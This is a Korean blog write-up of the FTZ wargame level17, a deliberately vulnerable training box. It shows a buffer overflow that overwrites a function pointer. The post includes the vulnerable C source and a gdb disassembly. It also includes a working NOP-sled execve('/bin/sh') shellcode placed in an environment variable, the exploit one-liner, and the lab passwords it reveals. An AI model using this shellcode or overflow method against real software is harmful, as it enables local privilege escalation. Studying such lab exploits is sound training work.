일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- 리눅스
- RITSEC
- buffer over flow
- 웹해킹
- NewsClipping
- CodeEngn
- BOF
- x64dbg
- 어셈블리어
- RITSEC CTF 2019
- 보안뉴스
- HackCTF
- webhacking
- ftz
- termux
- Nop Slide
- Next.js
- 리버싱
- Python
- PWN
- reversing
- Hackerschool
- Shadow 동아리
- SQL Injection
- writeup
- 버퍼오버플로우
- 뉴스클리핑
- Linux
- requests
- ctf
Archives
- Today
- Total
Jaeseo's Information Security Story
FTZ - level17 - WriteUp 본문
FTZ - level17 - WriteUp
level17:king poetic
일단 hint 파일을 확인합니다.
[level17@ftz level17]$ cat hint
#include <stdio.h>
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
setreuid(3098,3098);
call();
}
이번에는 printit의 주소만 가져오고 printit 함수만 존재하는 것을 볼 수 있다. 일단 주소를 불러 온다는 점에서 shellcode를 이용하여 공격을 하면 될것 같다.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x080484a8 <main+0>: push ebp
0x080484a9 <main+1>: mov ebp,esp
0x080484ab <main+3>: sub esp,0x38
0x080484ae <main+6>: mov DWORD PTR [ebp-16],0x8048490 //printit함수의 주소를 가져온다.
0x080484b5 <main+13>: sub esp,0x4
0x080484b8 <main+16>: push ds:0x804967c
0x080484be <main+22>: push 0x30
0x080484c0 <main+24>: lea eax,[ebp-56] //40만큼 buf를 채우면 된다.
0x080484c3 <main+27>: push eax
0x080484c4 <main+28>: call 0x8048350 <fgets>
0x080484c9 <main+33>: add esp,0x10
0x080484cc <main+36>: sub esp,0x8
0x080484cf <main+39>: push 0xc1a
0x080484d4 <main+44>: push 0xc1a
0x080484d9 <main+49>: call 0x8048380 <setreuid>
0x080484de <main+54>: add esp,0x10
0x080484e1 <main+57>: mov eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>: call eax
0x080484e6 <main+62>: leave
0x080484e7 <main+63>: ret
0x080484e8 <main+64>: nop
0x080484e9 <main+65>: nop
0x080484ea <main+66>: nop
0x080484eb <main+67>: nop
0x080484ec <main+68>: nop
0x080484ed <main+69>: nop
0x080484ee <main+70>: nop
0x080484ef <main+71>: nop
End of assembler dump.
이제 환경변수를 이용하여 공격을 한다.
[level17@ftz level17]$ export ATTACK=`python -c 'print "\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
그리고 예전에 만들어둔 환경 변수 주소를 가져오는 프로그램을 통해 주소를 알아내고 공격을 한다.
[level17@ftz level17]$ /tmp/get.out ATTACK
0xbfffd84d
[level17@ftz level17]$ (python -c 'print "\x90"*40 + "\x4d\xd8\xff\xbf"';cat) | ./attackme
whoami
level18
my-pass
TERM environment variable not set.
Level18 Password is "why did you do it".
level18:why did you do it
'Write UP > FTZ' 카테고리의 다른 글
FTZ - level19 - WriteUp (0) | 2019.11.27 |
---|---|
FTZ - level18 - WriteUp (0) | 2019.11.26 |
FTZ - level16 - WriteUp (0) | 2019.11.26 |
FTZ - level15 - WriteUp (0) | 2019.11.26 |
FTZ - level14 - WriteUp (0) | 2019.11.25 |
Comments